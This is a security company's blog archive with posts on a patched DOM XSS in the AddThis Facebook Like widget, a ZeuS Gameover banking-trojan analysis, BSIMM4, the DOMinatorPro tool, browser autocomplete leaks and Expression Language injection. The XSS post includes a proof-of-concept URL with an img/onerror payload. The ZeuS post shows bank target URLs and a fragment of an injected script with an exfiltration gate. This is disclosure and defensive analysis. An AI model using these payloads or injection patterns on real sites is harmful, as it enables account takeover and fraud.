Thursday, September 27, 2012

Analysis of Dom Xss vulnerability in a Facebook Like Button implementation

Note: The following vulnerability is now patched. Thanks to Matt, Charlie and to the Addthis.com team that released a patch yesterday after receiving our advisory.


Description

I like very much facebook, and I like clicking on facebook like buttons like the one below. Addthis.com has its own implementation of Facebook Like Button and is very used among internet websites. They estimate that unique websites around the world are several millions.

A Facebook Like Button in a Share Widget Bar:



You can find some background information already in one of our previous posts:

•    http://blog.mindedsecurity.com/2012/09/temporary-patch-for-dom-xss-0day-in.html

Proof of Concept

http://www.website-with-addthis-widget.con/#"></fb:like><img/src="aaa"/onerror="alert('DomXss Found!')

Note: This reflected dombased cross site scripting (before the patch) was present in a tremendous number of websites


Vulnerable Code


if (F.href === _1) {
d = _8.util.clone(E.share.url_transforms || {});
d.defrag = 1;
F.href = _8.track.mgu(E.share.url, d);//-- Location
}
for (A in F) {
B += " " + A + "=\"" + F[A] + "\"";//-- Attribute Set
}
if (!E.share.xid) {
E.share.xid = _8.util.cuid();
}
f[F.href] = {};
for (A in E.share) {
f[F.href][A] = E.share[A];&nbsp; 
}
G.innerHTML = "<fb:like br="br" 
ref="\">_8.share.gcp(E.share, E.conf,".like").replace(",", "_") 
+ "\" " + B + "</fb:like>"; //-- DomXss
p(G);

Analysis and discovery with DOMinatorPro

Even if to the reader this issue seems like a common cross site scripting, finding such kind of security issues in Javascript code (aka DomXss) is an extremely complex task.

This is why our Advanced Research team developed DOMinatorPro. DOMinatorPro can be downloaded from the following dedicated website: http://dominator.mindedsecurity.com.

DOMinatorPro is a Free Opensource Project with Commercial Extensions. Commercial extensions have a 15 days Free Trial Period.

The vulnerability was in ONE of the scripts loaded by the “addthis_widget.js”  script available online at “http://s7.addthis.com/js/300/addthis_widget.js”. As you can see multiple scripts are loaded and the scripts are compressed and obfuscated , giving to human security reviewers a painful and a very long and time comsuming task to accomplish.

Note: The following part is taken from the DOMinatorPro user manual and shows a similar vulnerability in a demo context. In DOMinatorPro user manual you can find sample cases to help you understand the cause of the vulnerability for producing solid Javascript patches.

By the way, when browsing to a website with a vulnerable “Facebook - Like Button” with DOMinatorPro tool you will see in a couple of seconds the following alert:

From the previous screenshot the very interesting information is that you got an HTML Injection (e.g. Cross Site Scripting) from the location.href (e.g. the URL).
Important Note: Sink describes where the vulnerability is and the Source is where the controllable input comes from.
 

Summary of the issue: HTML injection vulnerability coming from a user supplied input location.href (URL)

 Source History

Next step is to check where this issue has been found. This is easy, looking at the source history:
Exact location of the issue is: 
  • http://www.vulnerablewebsite.con/webpage.aspx?menuid=3#injectedstring<>”’

Source history is a simplified call stack that shows the content of controllable strings.
Location.href can be controlled and the value is showed up in light green, after this string is concatenated with another string by left and by right.
As it is possible to see from the above picture, it’s also possible to check if there are validator functions in place by injecting HTML patterns after the # (hash); in this case I injected the pattern #injectedstring<>”’ after the vulnerable URL. Using the “Hash” sign is important because anything coming after it will not be sent to the server.
It’s possible to see from the last line that #injectedstring<>"' is not encoded (typical encoded string is in the form of: #injectedstring%3c%22%27).
By supplying now the correct exploit it is possible to turn the vulnerability into a reflected DOM cross site scripting attack:
 

Standard HTML Injection Payload: 
  • <img/src="aaa"/onerror="alert('DomXss Found!')">
Important Note: Thanks to DOMinatorPro Browser emulation feature we can mimic different browser insecure behaviors. This permits to show developers the vulnerability inside DOMinatorPro/Firefox, even if the previous exploit works only under Internet Explorer.

Call Stack 

Now for a developer it is time to open the “Call Stack”:

The Call Stack interactively shows where the vulnerability is with the correct line. It is possible to see “document.location.href” is not escaped properly.
It’s very important to output encode the value before it is displayed.

Fixing

Correct fixing at line 116:
•    Use the “encodeURIComponent()” function.

Tuesday, September 25, 2012

Temporary Patch for a Dom Xss 0day in Addthis.com Widgets


Note: Addthis.com fixed this issue yesterday 26/09/12 thanks to Addthis.com team for fixing it so rapidly!


Including a Javascript code in your homepage from another Website is a very common practice.

"Third party scripts are a hidden-potential security threat"

Addthis.com for example provides very useful scripts to help enhancing a website with the most used social media networks. From Wikipedia: “ AddThis is a widely used social bookmarking service that can be integrated into a website with the use of a web widget. Once it is added, visitors to the website can bookmark an item using a variety of services, such as Facebook, MySpace, Google Bookmarks, Pinterest, and Twitter.[2]”.

AddThis social plugins and analytics are used by "over 14 million sites worldwide” (2007).

You just need to “add this”:


There are many advantages in doing this:
•    code will be updated by the maintainer
•    bugs will be fixed silently
•    … many others

Unfortunately it also hides several drawbacks:

•    Security vulnerabilities in referenced scripts will affect your website

During the past year we analyzed many Javascript codes belonging to tracking cookies. Some of those analysis have been pretty interesting. During 2011 we reported for example several issues in Omniture Catalyst Javascript code, with documented proof of concept code (http://blog.mindedsecurity.com/2011/04/god-save-omniture-quine.html)

The DomXss Vulnerability

DOM-based Cross-Site Scripting is the de-facto name for XSS bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.

More information about DomXss vulnerabilities can be found here:
•    https://www.owasp.org/index.php/DOM_Based_XSS
•    http://code.google.com/p/domxsswiki/wiki/Introduction

DomXss in Addthis.com Widgets


Details of the vulnerability have been temporarily omitted because the number of affected websites is huge. We did this for giving enough time to the vendor for fixing the issues (full details have been sent to support@addthis.com).

Note from 26/09: Investigating further, it seems that vulnerability is not always triggered; this may depends from the templates used
Note from 27/09: Details about the issue can be found here

Vulnerability has been found using DominatorPro, our DomXss Analyzer. Dominator is an opensource project with several extensions (some of these are commercial) and can be downloaded for free at

A temporary patch


You can make this temporary patch by configuration for protecting your website in the meantime that the vulnerable code will be fixed. Note: this patch is not for the vulnerability itself but will prevent it from being easily exploited.

To patch a vulnerable AddThis.com Widget manually populate the following property:

•    addthis:url

For more information visit:

 

Example:

 
...
<div addthis:url="http://example.com" class="addthis_toolbox addthis_default_style" nbsp="nbsp"> 
...


If you don’t add this, you are potentially vulnerable. 

ZeuS Gameover Overview



In this blog post we are going to discuss about an interesting ZeuS variant called “Gameover” that in the last quarter shown an impressive activity in terms of spread and infection rate especially in Italy.
According to f-secure [1]:

 “Italy has a significant number of Gameover infections.”

And according to the Secureworks [2]:

“on 678,000 unique Gameover bots, of which, 5.1% are Italian.”

ZeuS Gameover is a post source-code-leak variant of the original ZeuS trojan. One of the most peculiar characteristics of Gameover is that it relies upon a Peer to Peer botnet infrastructure, in such way that removes the centralized Command and Control server ([2]), additionally it implements a DGA (Domain Generation Algorithm) which produces domains like these in case the peers cannot be reached:

•    lhcemrwpfllnlblfevkjf.com
•    buzptsuoyhnrqdyprohqozsl.ru
•    cqheuowcjnaixeuzlcyemsqwpeqrw.com
•    nbmfxcyptpjtwbaxkjvbmpxwzu.info
•    pcetrgnbuwbynpfxibotsqc.org
•    soibeueutaeytsodpvcbmzh.net
•    cegquowoibtfqozpvxgnroaqup.biz
•    xqotqwqorklbpbkbdekflrautjf.ru
•    kzltwdezcajnceeutghdeqvkbi.com
•    ijgqamxaisgphqubhrkqwljx.net
•    tsxoribauktmtzhpuxskt.org

According to Symantec [3]:  “every peer in the botnet can act as a C&C server, while none of them really are one. Bots are now capable of downloading commands, configuration files, and executables from other bots—every compromised computer is capable of providing data to the other bots. We don’t yet know how the stolen data is communicated back to the attackers, but it’s possible that such data is routed through the peers until it reaches a drop zone controlled by the attackers.”


Gameover WebInjects

Like other ZeuS versions, Gameover bases its attacks on the MiTB (Man in The Browser) approach; this implies that the malware has a configuration file which contains a list of financial institutions and the relative malicious JavaScript code to be injected when a victim visits one of these pages.
An interesting aspect of this variant, is that configuration and the whole Web Injection mechanism is significantly different from previous ZeuS versions.
WebInjection/Configuration management is demanded to a malicious thread injected into the running browser process (like other versions) and can be synthetized as follows:

•    Configuration Decryption
•    Regular Expressions interpretation in order to find matching URLs
•    Web Injection code decryption and commit into the victim page

The malicious thread will take the URL infected by the victim in order to match this with an encoded list of URLs, which constitutes the Target Institutions.
Here comes one of the peculiar characteristics of Gameover, which is given by the fact that there is a double list of target URLs:

1.    List of “Default” targets
2.    List of Web Injection targets

Basically URL matching goes through two lists of targets, the first one which is already public and known:
•    @https://bancopostaimpresaonline.poste.it/bpiol/lastFortyMovementsBalance.do?method=loadLastFortyMovementList
•    @https://www3.csebo.it/*
•    @https://qweb.quercia.com/*
•    @https://www.sparkasse.it/*
•    @https://dbonline.deutsche-bank.it/*
•    @https://*.cedacri.it/*
•    @https://www.bancagenerali.it/*
•    @https://www.csebo.it/*
•    @https://*.deutsche-bank.it/*

This partial list (the complete one contains targets from various countries) shows the targeted Italian financial institutions [1]

The analysis of multiple samples and configurations showed that this list is near to be immutable, especially about Italian targets.

But by going a little deeper into the configuration decryption process, Minded Security observed that there is a second list of targets, significantly larger than the first, which contains a huge amount of financial institutions targeted by the web injection. Below the complete list of Gameover targets:


https://express.53.com/express/logo
https://direct.53.com/direct/logon53Direct.js
https://www.abbeyinternational.com/Login.asp
alahliecorp.com/AlahlieCorp/web/CorporateSignOn.asp
alinmaonline.com/cb/servlet/cbjsp-ns/logi
alinmaonline.com/efs/servlet/efs
https://www.almubasher.com.sa/retail/LogonRetail.js
https://www.almubasher.com.sa/NewECorporate/p/login
https://www.arabi-online.net/efs/servlet/efs/jsp-ns/logi
https://www.bankalbilad.com/retail/logon.d
https://bnycash.bankofny.com
...

Full list can be downloaded from: http://www.mindedsecurity.com/fileshare/zeus_p2p-gameover-25092012.txt

According to the Reverse Engineered code, this second list comes from the same configuration used for the first and it’s decrypted immediately after that the default one has been checked.
Due to the same logic behind the decryption process, it’s possible to catch this list in the same way used to carve the default one, like in the screenshot below:




An aspect to note is that, the URL triggers are not immediately visible this time, because of the following pattern adopted:
True_Char – 0x1C – True_Char – 0x1C – etc.
or
True_Char – 0x1D – True_Char – 0x1D – etc.
When victim’s URL matches with one of the above, the corresponding web inject will be decrypted and injected into the target page.

Gameover ATS
Let’s now take a closer look to a typical Gameover injected malicious JavaScript code:

<script>
_GATE = 'https://dom*.eu/*/php/gate.php?d=';
window.pseudo = [];
eval(function(p,a,c,k,e,r){e=function(c)
..
Float|contents|filter|nodeType|TEXT_NODE|nodeValue|Distinte|Bonifici|distinta|storico|prototype|
</script>

As you can see _GATE contains an external resource (obscured for security reasons), this location will be used to gather all stolen information.

This technology is known as ATS (Automated Transfer System) [4]:


Unlike WebInject files that displayed pop-ups to steal victims’ credentials, ATSs remained invisible. These did not prompt the display of pop-ups as well as performed several tasks such as checking account balances and conducting wire transfers using the victims’ credentials without alerting them. ATS scripts also modified account balances and hid illegitimate transactions to hide traces of their presence to victims. As long as a system remains infected with an ATS, its user will not be able to see the illegitimate transactions made from his/her accounts. This essentially brings to the fore automated online banking fraud because cybercriminals no longer need user intervention to obtain money.


In other words an ATS system allows criminals to manage stolen information simply by accessing a web application, the following screenshot show the login page of a typical ATS application.



Following there is a screenshot taken from one of those ATS domains that shows the Automated Transfer Rule building:



And here there is another screenshot from the same ATS which targets a different bank:



It’s finally pretty interesting to put in evidence the fact that the usage of an ATS web inject changed the way dropzones work, because they will be no longer a centralized resource (easy to monitor and consequently takedown),  but a distributed one.
Each webinject could contain a different ATS server.   

Trackdown ATS users

As final step Minded Security decided to track down the ATS system in order to observe the involved user activity, shown below a Geo Map of the observed access. Users' logged IP come out from cloud server, in this way they can protect their identity.



Conclusions

Gameover poses a serious risk not only for Italian financial institutions; Minded Security will maintain a high awareness level on the evolution of this threat.

References

[1] http://www.f-secure.com/weblog/archives/00002424.html
[2] http://www.secureworks.com/research/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/
[3] http://www.symantec.com/connect/blogs/zeusbotspyeye-p2p-updated-fortifying-botnet
[4] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_automating_online_banking_fraud.pdf



Tuesday, September 18, 2012

BSIMM4 Release Expands Software Security Measurement Tool and Describes New Activities

The BSIMM project continues to expand with data from 51 leading firms in 12 vertical markets and is now ten times its original 2009 size.

BSIMM4 encompasses ten times the measurement data of the original 2009 study (95 distinct measurements), and reports on two new activities, bringing the activity count going forward to 111.

The BSIMM4 project provides insight into fifty-one of the most successful software security initiatives in the world and describes how these initiatives evolve, change, and improve over time. The multi-year study is based on in-depth measurement of leading enterprises including Adobe, Aon, Bank of America, Box, Capital One, The Depository Trust & Clearing Corporation (DTCC), EMC, F-Secure, Fannie Mae, Fidelity, Google, Intel, Intuit, JPMorgan Chase & Co., Mashery, McKesson, Microsoft, Nokia, Nokia Siemens Networks, QUALCOMM, Rackspace, Salesforce, Sallie Mae, SAP, Scripps Networks, Sony Mobile, Standard Life, SWIFT, Symantec, Telecom Italia, Thomson Reuters, Vanguard, Visa, VMware, Wells Fargo, and Zynga.

Originally launched in March 2009, the BSIMM is the industry's first software security measurement tool built from real-world data rather than based on philosophy and theory. BSIMM2 was released in May 2010 and tripled the size of the original study from nine organizations to thirty. BSIMM3 was released in September 2011 with data from forty-two firms and included a longitudinal study showing how software security initiatives have grown over time. BSIMM4, released today, covers fifty-one firms representing a range of twelve overlapping verticals including: financial services (19), independent software vendors (19), technology firms (13), cloud (13), media (4), security (3), telecommunications (3), insurance (2), energy (2), retail (2) and healthcare (1). The current release includes updated activity descriptions, two new activities and a longitudinal study.

“The BSIMM work is exciting not only because of its data-driven scientific approach to measurement, but also because of the community we have established,” said Dr. Gary McGraw, Cigital’s CTO. “There is nothing more satisfying than enabling top software security initiatives worldwide to cooperate in moving software security forward.”

Using the BSIMM measuring stick, Dr. Gary McGraw, Sammy Migues, and Jacob West conducted a series of in-person interviews with executives in charge of the fifty-one software security initiatives to collect data for BSIMM4. For the first time in the BSIMM project, new activities were observed in addition to the original 109, resulting in the addition of two new activities to the model going forward. The activities are: Simulate software crisis and Automate malicious code detection.

Some numerical highlights of BSIMM4:

- BSIMM4 includes 51 firms from 12 industry verticals
- BSIMM4 has grown 20% since BSIMM3 and is ten times bigger than the original 2009 edition
- The BSIMM4 data set has 95 distinct measurements (some firms measured multiple times, some firms with multiple divisions measured separately and rolled into one firm score)
- BSIMM4 continues to show that leading firms on average employ two full time software security specialists for every 100 developers
- BSIMM4 describes the work of 974 software security professionals working with a development-based satellite of 2039 people to secure the software developed by 218,286 developers

“We are very pleased with the effect BSIMM is having beyond its primary use as a reflection of the state of software security,” said Sammy Migues, co-author of the ongoing study and Cigital Principal. “We see it referenced directly in business partner discussions, in government and commercial acquisitions, in service level agreements, and vendor management processes.”

The fifty-one firms participating in the BSIMM Project make up the BSIMM Community. The BSIMM Community hosts a private mailing list and an annual Conference where representatives gather together in an off-the-record forum to discuss day to day administration of software security initiatives. In 2011, 21 of 42 firms participated in the second annual BSIMM Community Conference hosted in Washington State. And in Spring of 2012, the first BSIMM Europe Community conference held in Amsterdam included 17 firms with a presence in the European market.

“Fidelity Investments makes use of BSIMM measurements taken over time to identify areas for improvement in our software security initiative,” said David Smith, VP, Technology Risk Management, Fidelity. “Access to the BSIMM Community adds additional value both when trying to get new initiatives off the ground and when working to enhance and evolve existing initiatives. The BSIMM Community's industry leaders are knee deep in real-world software security, have a deep well of experience to draw on, and often have extremely effective initiatives well underway. As such, they provide valuable insight on how to succeed with software security at a world class level.”

For more information and to access the BSIMM4 study, which is distributed free of charge under a Creative Commons license, please visit: http://bsimm.com/

Tuesday, June 19, 2012

DOMinator Pro has been released!

DOMinator Pro is a commercial suite whose concept is based on the DOMinator project (that is one of the Top Ten Web Hacking techniques 2011).

It performs a Realtime Dynamic Data Tainting which represents an innovative approach to identify DOM based Cross Site Scripting vulnerabilities and can help identify client side issues in a very short time while simply navigating.

DOMinator Pro Suite consists of two principal components:
1. DOMinator Core Engine: an core engine based on Firefox 8.0 modified version of SpiderMonkey (JS Engine)to add Dynamic Tainting and perform Taint propagation Tracing. Open source and downloadable from GitHub.
2. DOMinator Pro Extension: a proprietary, commercial extension which contains the knowledge base, the user interface and the analysis engine.
The DOMinator Pro Suite is a full package of the compiled code for immediate use for Windows and Linux.

How does it work

It uses dynamic runtime tainting engine which performs taint propagation on strings and keeps trace of previous operations in order to collect the so called Source History.
Source History of a tainted string will help in understanding if vulnerability is actually exploitable or not.

There are several techniques that could help humans to identify security issues in code and systems.

Static analysis is one of the most widely-used in conjunction with manual testing. Even if there are good advantages in using automatic static analysis tools like code coverage and fast analysis, it can have several drawbacks since JavaScript and DOM rely on browsers internal state, page contents and dynamic data in general. Static analysis on client side JavaScript could then result in plenty of false positives and false negatives.

DOMinator takes JavaScript security analysis to a different level, it uses realtime flow execution taking advantage of the native Mozilla JavaScript parser, analyzing dangerous methods only when used in conjunction with tainted sources in a real executed flow. This means that there will be a very low number of false positives respect to static analysis.

This approach gives several advantages as the state of the client is entirely consistent with user experience and the flow is executed and analyzed as it runs.

Features in DOMinator Pro

* New HTML 5 Source Objects and Sinks.
* Alerts when jQuery is used in conjunction with tainted sources.
* Alerts in real time with description of the vulnerabilities, code example and remediation summaries.
* Remote alerts in JSON format.
* Experimental DOM Based XSS Stored Sources.
* Minimization of false positives with new analysis techniques.

Web is an ever evolving environment, and DOMinator Pro will have new features and new technologies to keep your DOM based issues analysis and exploitations always up to date!

Why should we care about DOM Based XSS?

DOM XSS is getting more and more attention over the web and it can be considered one of the next generation web vulnerabilities stars (W3c Conference 2011, B.Hill and S.Stender ).

DOM XSS is a security issue of dynamic JavaScript, where unsanitized data is rendered by client side code.

Since Ajax is the main technology behind Cloud and Software As Service infrastructure, this issues (DOM XSS) if correctly exploited can break the Security.
Like Stored and Reflected XSS, DOM Based XSS could allow an attacker to inject his own code into other domain sandbox (Cross Site Scripting), with the important difference that it may run completely undetected by Web Application Firewalls and other security tools that can protect applications on the server side.

Even if you already take care of security testing on your applications there's very few companies that perform client side checks, because DOM based XSS is still underestimated and difficult to analyze without tools.
In 2011 Minded Security showed that using the community version of DOMinator it was possibile to identify that 57 out of 100 top Alexa sites were vulnerable to exploitable DOM Based Cross Site Scripting.
Considering that result it can be inferred that no one to a small number of companies are already aware about client side JavaScript security analysis.

Who should use DOMinator Pro?

DOMinator Pro was developed in order to facilitate the process of finding client side issues even for people with little security knowledge.
DOMinator Pro represents the first tool which can help quality teams, security testers,and developers to identify client side security issues while performing runtime quality or security testing.
Software companies producing web interfaces with heavy use of client side JavaScript code, should use it in order to add security checks in their software development lifecycle.
Big internet companies can use DOMinator Pro with automatic browser testing tools and directly get alerts in their bug ticket systems.
Eventually, there will be DOMinator Pro use for whoever is concerned about client side JavaScript security.

Featured Downloads and Information

Go to DOMinator Site, register yourself and download a 15 days Trial for DOMinator Pro.
You will see with your own eyes how DOMinator Pro overcomes static analysis drawbacks by performing runtime analysis during normal navigation.
Are you already persuaded? Contact us for license purchase.
Choose the version of DOMinator which suits your needs!

Monday, October 24, 2011

Autocomplete..again?!

This is a short post about autocomplete feature in browsers.

Long Story Short:
Q: What's the issue?
A: It is possible to get key down / up events via JavaScript when a drop down autocomplete menu is shown. This means that it is possible to lure a user to play a game and steal arbitrary values from browsers autocomplete feature.

Q: How the browser vendors should fix it?
A: They should tie the information a site asks via autocomplete inputs to the site itself.
They in fact don't check the origin of the input tag, but they definitely should.

Short Story Long
It's known. Browser autocomplete feature has issues since they have been deployed.
And not only the 2k styled dispatchEvent trick.

In fact in 2k8 I showed a kind of interesting technique applied to Opera input type=url tag, where by using a game and the keydown/keyup events it was possible to steal every url the victim had visited earlier.

I hoped it was a lession learned for every vendor, but it seems it wasn't.

The proof of concept works on Firefox <=7.0.1, but it can be ported on IE as well.

Yeh, sure, under Firefox/IE the drop down autocomplete menu is not hidden but, in the end, does it matter?

Google chrome at least does not send keydown/keyup events to JS when the autocomplete drop down menu is focused, and even if I'm not saying it not exploitable, at least it's not as easy to do it as in Firefox 7.0.1 or IE 7-8-9.

Checker
So here's a very minimal greasemonkey script (tested on chrome and firefox + greasemonkey) whose aim is to show if autocomplete is on or off.
Just drag and drop it and set the url filter to '.*' in order to let it work on every url.
Here's a sample:



Feel free to ask about details on the proof of concept, even if it should be kind of easy to understand the concept.

Ah normal users, like me, should simply disable autocomplete on forms.
Don't know how to do it?
Just search the web. Or your browser's preferences.

Monday, September 12, 2011

Expression Language Injection

Think about implementing a web application that relies several secrets like anti CRSRF tokens, random seeds used for password generation and so on...

If the implementation is based on Spring MVC framework and security is important for you, then you should consider reading the paper Expression Language Injection which is the result of a joint research conducted by Stefano Di Paola of Minded Security and Arshan Dabirsiaghi of Aspect Security.

We tried to identify the security impact of a bug in Spring MVC which could lead to double evaluation of Expression Language if an untrusted input is used as the argument of particular attributes.

The research shows that it could result in the exposition of application information which should be kept bounded to the application.

The only information which seems to be still protected is tied to static values and static methods.

If you're interested, enjoy the reading and let us know your impressions.